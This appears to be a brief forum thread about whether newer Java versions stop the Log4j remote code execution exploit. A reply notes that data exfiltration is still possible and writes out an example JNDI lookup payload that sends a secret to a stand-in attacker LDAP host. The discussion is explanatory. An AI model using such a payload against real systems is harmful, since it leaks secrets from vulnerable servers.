3 ms·
Afaik newer Java versions prevent the RCE exploit, too (you have to re-enable the LDAP/RMI functionality since it's off by default)
by nijave 5y ago
Afaik newer Java versions prevent the RCE exploit, too (you have to re-enable the LDAP/RMI functionality since it's off by default)
- janstice 5y agoThe RCE is prevented, but there are likely still exfiltration opportunities like "${jndi:ldap://nijave-yourpassword.blackhat.com:1389/a}" - check out https://github.com/apache/logging-log4j2/pull/608#issuecomment-991354707 https://github.com/apache/logging-log4j2/pull/608#issuecomme... for much smarter (or more devious) people than me.